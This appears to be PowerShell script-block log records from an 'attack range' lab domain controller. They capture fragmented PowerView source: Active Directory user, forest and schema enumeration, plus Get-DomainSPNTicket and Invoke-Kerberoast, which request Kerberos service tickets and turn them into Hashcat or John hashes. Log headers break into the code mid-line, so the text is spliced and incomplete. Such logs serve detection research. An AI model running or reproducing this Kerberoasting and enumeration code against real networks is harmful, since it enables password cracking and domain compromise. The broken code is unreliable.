if ($ReferenceObjectProperties -NotContains $ObjectProperty) {
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'SamAccountName' $Object.SamAccountName
$Out | Add-Member Noteproperty 'Property' $ObjectProperty
$Out | Add-Member Noteproperty 'Value' $Object.$ObjectProperty
$Out.PSObject.TypeNames.Insert(0, 'PowerView.PropertyOutlier')
$Out
}
}
}
}
}
########################################################
#
# "net *" replacements and other fun start below
#
########################################################
function Get-DomainUser {
<#
.SYNOPSIS
Return all users or specific user objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all user objects for
the current domain are returned.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted. Also accepts DOMAIN\user format.
.PARAMETER SPN
Switch. Only return user objects with non-null service principal names.
.PARAMETER UACFilter
Dynamic parameter that accepts one or more values from $UACEnum, including
"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
.PARAMETER AdminCount
Switch. Return users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER AllowDelegation
Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'
.PARAMETER DisallowDelegation
Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation'
.PARAMETER TrustedToAuth
Switch. Return computer objects that are trusted to authenticate for other principals.
.PARAMETER PreauthNotRequired
Switch. Return user accounts with "Do not require Kerberos preauthentication" set.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainUser -Domain testlab.local
Return all users for the testlab.local domain
.EXAMPLE
Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator"
Return the user with the given SID, as well as Administrator.
.EXAMPLE
'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff
lastlogoff samaccountname
---------- --------------
12/31/1600 4:00:00 PM dfm.a
12/31/1600 4:00:00 PM dfm
12/31/1600 4:00:00 PM harmj0y
12/31/1600 4:00:00 PM Administrator
.EXAMPLE
Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation
Search the specified OU for privileged user (AdminCount = 1) that allow delegation
.EXAMPLE
Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon
.EXAMPLE
Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EXPIRED
Find users who doesn't require Kerberos preauthentication and DON'T have an expired password.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred
.EXAMPLE
Get-Domain | Select-Object -Expand name
testlab.local
Get-DomainUser dev\user1 -Verbose -Properties distinguishedname
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1)))
distinguishedname
-----------------
CN=user1,CN=Users,DC=dev,DC=testlab,DC=local
.INPUTS
String
.OUTPUTS
PowerView.User
Custom PSObject with translated user property fields.
PowerView.User.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.User')]
[OutputType('PowerView.User.Raw')]
[CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[Switch]
$SPN,
[Switch]
$AdminCount,
[Parameter(ParameterSetName = 'AllowDelegation')]
[Switch]
$AllowDelegation,
[Parameter(ParameterSetName = 'DisallowDelegation')]
[Switch]
$DisallowDelegation,
[Switch]
$TrustedToAuth,
[Alias('KerberosPreauthNotRequired', 'NoPreauth')]
[Switch]
$PreauthNotRequired,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
DynamicParam {
$UACValueNames = [Enum]::GetNames($UACEnum)
# add in the negations
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
# create new dynamic parameter
New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
}
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$UserSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
#bind dynamic parameter to a friendly variable
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
}
if ($UserSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$UserSearcher = Get-DomainSearcher @SearcherArguments
if (-not $UserSearcher) {
Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('\')) {
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
if ($ConvertedIdentityInstance) {
$UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf69859593-9fd6-4276-9750-0d12703f9101
4104132150x0124422Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1154est root
if ($PSBoundParameters['Credential']) {
$ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name -Credential $Credential).objectsid
}
else {
$ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name).objectsid
}
$Parts = $ForestSid -Split '-'
$ForestSid = $Parts[0..$($Parts.length-2)] -join '-'
$ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid
$ForestObject
}
}
}
function Get-ForestDomain {
<#
.SYNOPSIS
Return all domains for the current (or specified) forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
Returns all domains for the current forest or the forest specified
by -Forest X.
.PARAMETER Forest
Specifies the forest name to query for domains.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target forest.
.EXAMPLE
Get-ForestDomain
.EXAMPLE
Get-ForestDomain -Forest external.local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestDomain -Credential $Cred
.OUTPUTS
System.DirectoryServices.ActiveDirectory.Domain
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.DirectoryServices.ActiveDirectory.Domain')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
$ForestObject = Get-Forest @Arguments
if ($ForestObject) {
$ForestObject.Domains
}
}
}
function Get-ForestGlobalCatalog {
<#
.SYNOPSIS
Return all global catalogs for the current (or specified) forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
Returns all global catalogs for the current forest or the forest specified
by -Forest X by using Get-Forest to retrieve the specified forest object
and the .FindAllGlobalCatalogs() to enumerate the global catalogs.
.PARAMETER Forest
Specifies the forest name to query for global catalogs.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-ForestGlobalCatalog
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestGlobalCatalog -Credential $Cred
.OUTPUTS
System.DirectoryServices.ActiveDirectory.GlobalCatalog
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.DirectoryServices.ActiveDirectory.GlobalCatalog')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
$ForestObject = Get-Forest @Arguments
if ($ForestObject) {
$ForestObject.FindAllGlobalCatalogs()
}
}
}
function Get-ForestSchemaClass {
<#
.SYNOPSIS
Helper that returns the Active Directory schema classes for the current
(or specified) forest or returns just the schema class specified by
-ClassName X.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
Uses Get-Forest to retrieve the current (or specified) forest. By default,
the .FindAllClasses() method is executed, returning a collection of
[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] results.
If "-FindClass X" is specified, the [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]
result for the specified class name is returned.
.PARAMETER ClassName
Specifies a ActiveDirectorySchemaClass name in the found schema to return.
.PARAMETER Forest
The forest to query for the schema, defaults to the current forest.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-ForestSchemaClass
Returns all domain schema classes for the current forest.
.EXAMPLE
Get-ForestSchemaClass -Forest dev.testlab.local
Returns all domain schema classes for the external.local forest.
.EXAMPLE
Get-ForestSchemaClass -ClassName user -Forest external.local
Returns the user schema class for the external.local domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestSchemaClass -ClassName user -Forest external.local -Credential $Cred
Returns the user schema class for the external.local domain using
the specified alternate credentials.
.OUTPUTS
[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]
An ActiveDirectorySchemaClass returned from the found schema.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[Alias('Class')]
[ValidateNotNullOrEmpty()]
[String[]]
$ClassName,
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
$ForestObject = Get-Forest @Arguments
if ($ForestObject) {
if ($PSBoundParameters['ClassName']) {
ForEach ($TargetClass in $ClassName) {
$ForestObject.Schema.FindClass($TargetClass)
}
}
else {
$ForestObject.Schema.FindAllClasses()
}
}
}
}
function Find-DomainObjectPropertyOutlier {
<#
.SYNOPSIS
Finds user/group/computer objects in AD that have 'outlier' properties set.
Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer
.DESCRIPTION
A 'reference' set of property names is calculated, either from a standard set preserved
for user/group/computers, or from the array of names passed to -ReferencePropertySet, or
from the property names of the passed -ReferenceObject. Every user/group/computer object
(depending on determined class) are enumerated, and for each object, if the object has a
'non-standard' property set (meaning a property not held by the reference set), the object's
samAccountName, property name, and property value are output to the pipeline.
.PARAMETER ClassName
Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'.
If -ReferenceObject is specified, this will be automatically extracted, if possible.
.PARAMETER ReferencePropertySet
Specifies an array of property names to diff against the class schema.
.PARAMETER ReferenceObject
Specicifes the PowerView user/group/computer object to extract property names
from to use as the reference set.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Find-DomainObjectPropertyOutlier -ClassName 'User'
Enumerates users in the current domain with 'outlier' properties filled in.
.EXAMPLE
Find-DomainObjectPropertyOutlier -ClassName 'Group' -Domain external.local
Enumerates groups in the external.local forest/domain with 'outlier' properties filled in.
.EXAMPLE
Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier
Enumerates computers in the current domain with 'outlier' properties filled in.
.OUTPUTS
PowerView.PropertyOutlier
Custom PSObject with translated object property outliers.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.PropertyOutlier')]
[CmdletBinding(DefaultParameterSetName = 'ClassName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ClassName')]
[Alias('Class')]
[ValidateSet('User', 'Group', 'Computer')]
[String]
$ClassName,
[ValidateNotNullOrEmpty()]
[String[]]
$ReferencePropertySet,
[Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ReferenceObject')]
[PSCustomObject]
$ReferenceObject,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$UserReferencePropertySet = @('admincount','accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','description', 'displayname','distinguishedname','dscorepropagationdata','givenname','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','lockouttime','logoncount','memberof','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','primarygroupid','pwdlastset','samaccountname','samaccounttype','sn','useraccountcontrol','userprincipalname','usnchanged','usncreated','whenchanged','whencreated')
$GroupReferencePropertySet = @('admincount','cn','description','distinguishedname','dscorepropagationdata','grouptype','instancetype','iscriticalsystemobject','member','memberof','name','objectcategory','objectclass','objectguid','objectsid','samaccountname','samaccounttype','systemflags','usnchanged','usncreated','whenchanged','whencreated')
$ComputerReferencePropertySet = @('accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','distinguishedname','dnshostname','dscorepropagationdata','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','localpolicyflags','logoncount','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','operatingsystem','operatingsystemservicepack','operatingsystemversion','primarygroupid','pwdlastset','samaccountname','samaccounttype','serviceprincipalname','useraccountcontrol','usnchanged','usncreated','whenchanged','whencreated')
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
# Domain / Credential
if ($PSBoundParameters['Domain']) {
if ($PSBoundParameters['Credential']) {
$TargetForest = Get-Domain -Domain $Domain | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name
}
else {
$TargetForest = Get-Domain -Domain $Domain -Credential $Credential | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name
}
Write-Verbose "[69859593-9fd6-4276-9750-0d12703f9101
4104132150x0124418Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local754 the User parameter set.
.OUTPUTS
PowerView.SPNTicket
Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
#>
[OutputType('PowerView.SPNTicket')]
[CmdletBinding(DefaultParameterSetName = 'RawSPN')]
Param (
[Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)]
[ValidatePattern('.*/.*')]
[Alias('ServicePrincipalName')]
[String[]]
$SPN,
[Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)]
[ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })]
[Object[]]
$User,
[ValidateSet('John', 'Hashcat')]
[Alias('Format')]
[String]
$OutputFormat = 'Hashcat',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
if ($PSBoundParameters['User']) {
$TargetObject = $User
}
else {
$TargetObject = $SPN
}
ForEach ($Object in $TargetObject) {
if ($PSBoundParameters['User']) {
$UserSPN = $Object.ServicePrincipalName
$SamAccountName = $Object.SamAccountName
$DistinguishedName = $Object.DistinguishedName
}
else {
$UserSPN = $Object
$SamAccountName = 'UNKNOWN'
$DistinguishedName = 'UNKNOWN'
}
# if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3
if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) {
$UserSPN = $UserSPN[0]
}
try {
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
}
catch {
Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_"
}
if ($Ticket) {
$TicketByteStream = $Ticket.GetRequest()
}
if ($TicketByteStream) {
$Out = New-Object PSObject
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
$Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
# TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1)
# No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object
if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') {
$Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 )
$CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4
$CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2)
# Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object
if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') {
Write-Warning "Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
$Hash = $null
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
} else {
$Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))"
$Out | Add-Member Noteproperty 'TicketByteHexStream' $null
}
} else {
Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
$Hash = $null
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
}
if($Hash) {
# JTR jumbo output format - $krb5tgs$SPN/machine.testlab.local:63386d22d359fe...
if ($OutputFormat -match 'John') {
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
}
else {
if ($DistinguishedName -ne 'UNKNOWN') {
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
}
else {
$UserDomain = 'UNKNOWN'
}
# hashcat output format - $krb5tgs$23$*user$realm$test/spn*$63386d22d359fe...
$HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
}
$Out | Add-Member Noteproperty 'Hash' $HashFormat
}
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
$Out
}
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Invoke-Kerberoast {
<#
.SYNOPSIS
Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes.
Author: Will Schroeder (@harmj0y), @machosec
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket
.DESCRIPTION
Uses Get-DomainUser to query for user accounts with non-null service principle
names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information.
The ticket format can be specified with -OutputFormat <John/Hashcat>.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER OutputFormat
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
Defaults to 'Hashcat'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Invoke-Kerberoast | fl
Kerberoasts all found SPNs for the current domain, outputting to Hashcat format (default).
.EXAMPLE
Invoke-Kerberoast -Domain dev.testlab.local | fl
Kerberoasts all found SPNs for the testlab.local domain, outputting to JTR
format instead of Hashcat.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce
$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword)
Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl
Kerberoasts all found SPNs for the testlab.local domain using alternate credentials.
.OUTPUTS
PowerView.SPNTicket
Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.SPNTicket')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
